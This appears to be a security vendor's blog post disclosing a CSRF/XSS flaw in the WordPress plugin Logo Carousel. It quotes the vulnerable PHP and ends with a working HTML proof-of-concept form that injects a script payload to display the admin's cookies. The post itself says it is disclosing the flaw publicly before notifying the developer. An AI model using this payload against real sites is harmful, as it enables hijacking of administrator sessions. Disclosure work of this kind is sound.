07 Feb

Another One of the 1,000 Most Popular WordPress Plugins Contains a CSRF/XSS Vulnerability

Among the many things we do to provide our customers with the best data on vulnerabilities in any WordPress plugins they use is that we keep track of any of the 1,000 most popular plugins being closed on the WordPress Plugin Directory in case that might be due to a security vulnerability. Yesterday one of those plugins, Logo Carousel, which has 40,000+ active installations according to wordpress.org, was closed. No reason has been given for that closure so far, but in just our quick check over the plugin we found a security vulnerability that could have led to it being removed, that being a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability when saving the settings for one of the plugin’s carousels.

That is the same type of issue we found when another one of the 1,000 most popular plugins was closed three weeks ago, so if these vulnerabilities were not responsible for the disclosures, it would appear that there may be larger problem with this type of issue that is going under noticed even in the most popular plugins. That type of issue is something we have longed check for during security reviews of plugins, which we both do as part of our main service and as a separate service, so if you are interested in making sure plugins you use are secured against that and other security issues we offer a solution.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

The plugin registers an admin page named Manage Carousels to be accessible to those with “manage_options” capability (which normally only Administrators have), which when accessed causes the function admin_pages_manage_carousels() to run:

236
237
238
239
240
241
242
243
244
245
function admin_pages() {
	add_submenu_page(
		'edit.php?post_type=kwlogos',
		__('Manage Carousels', 'kiwi-logo-carousel'),
		__('Manage Carousels', 'kiwi-logo-carousel'),
		'manage_options',
		'kwlogos_settings',
		array( $this, 'admin_pages_manage_carousels' )
	);
}

When that function, which is located in the file /kiwi_logo_carousel_admin.php, runs, if the POST input “submit” is set then a carousel’s settings will be changed to the values sent with the request without sanitizing them:

261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
if (isset($_POST['submit'])) {
	$default = $this->default_values;
	$parameters = array();
	$parameters['mode'] = $this->rdie($_POST['klc_mode'], $default['mode']);
	$parameters['speed'] = $this->rdie($_POST['klc_speed'], $default['speed']);
	$parameters['slideMargin'] = $this->rdie($_POST['klc_slidemargin'], $default['slideMargin']);
	$parameters['infiniteLoop'] = $this->rdie($_POST['klc_infiniteloop'], $default['infiniteLoop']);
	$parameters['hideControlOnEnd'] = $this->rdie($_POST['klc_hidecontrolonend'], $default['hideControlOnEnd']);
	$parameters['captions'] = $this->rdie($_POST['klc_captions'], $default['captions']);
	$parameters['ticker'] = $this->rdie($_POST['klc_ticker'], $default['ticker']);
	$parameters['tickerHover'] = $this->rdie($_POST['klc_tickerhover'], $default['tickerHover']);
	$parameters['adaptiveHeight'] = $this->rdie($_POST['klc_adaptiveheight'], $default['adaptiveHeight']);
	$parameters['responsive'] = $this->rdie($_POST['klc_responsive'], $default['responsive']);
	$parameters['pager'] = $this->rdie($_POST['klc_pager'], $default['pager']);
	$parameters['controls'] = $this->rdie($_POST['klc_controls'], $default['controls']);
	$parameters['minSlides'] = $this->rdie($_POST['klc_minslides'], $default['minSlides']);
	$parameters['maxSlides'] = $this->rdie($_POST['klc_maxslides'], $default['maxSlides']);
	$parameters['moveSlides'] = $this->rdie($_POST['klc_moveslides'], $default['moveSlides']);
	$parameters['slideWidth'] = $this->rdie($_POST['klc_slidewidth'], $default['slideWidth']);
	$parameters['auto'] = $this->rdie($_POST['klc_auto'], $default['auto']);
	$parameters['pause'] = $this->rdie($_POST['klc_pause'], $default['pause']);
	$parameters['klco_style'] = $this->rdie($_POST['klco_style'], $default['klco_style']);
	$parameters['klco_orderby'] = $this->rdie($_POST['klco_orderby'], $default['klco_orderby']);
	$parameters['klco_clickablelogos'] = $this->rdie($_POST['klco_clickablelogos'], $default['klco_clickablelogos']);
	$parameters['klco_alignment'] = $this->rdie($_POST['klco_alignment'], $default['klco_alignment']);
	$parameters['klco_height'] = $this->rdie($_POST['klco_height'], $default['klco_height']);
	$parameters = serialize($parameters);
	update_option( 'kiwiLGCRSL_'.$carousel, $parameters );

There should be a check for a valid nonce to prevent cross-site request forgery (CSRF) before changing the carousel’s settings.

The values are then output on the same page (they also could be output on frontend pages) without being escaped on lines like this one:

312
<td><input name="klc_speed" type="number" value="<?php if (isset($p['speed'])) {echo $p['speed'];} ?>"/></td>

That permits malicious JavaScript code set to one of the settings to be output, which is cross-site scripting (XSS).

Proof of Concept

The following proof of concept will cause any available cookies to be shown in an alert box on the page /wp-admin/edit.php?post_type=kwlogos&page=kwlogos_settings, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/edit.php?post_type=kwlogos&page=kwlogos_settings" method="POST">
<input type="hidden" name="klc_speed" value='"><script>alert(document.cookie);</script>' />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service you can suggest/vote for the plugins you use to receive a security review from us. You can start using the service for free when you sign up now.

One thought on “Another One of the 1,000 Most Popular WordPress Plugins Contains a CSRF/XSS Vulnerability

  1. Pingback: A Free Logo Carousel Plugin for WordPress | Divi Notes

Leave a Reply

Your email address will not be published. Required fields are marked *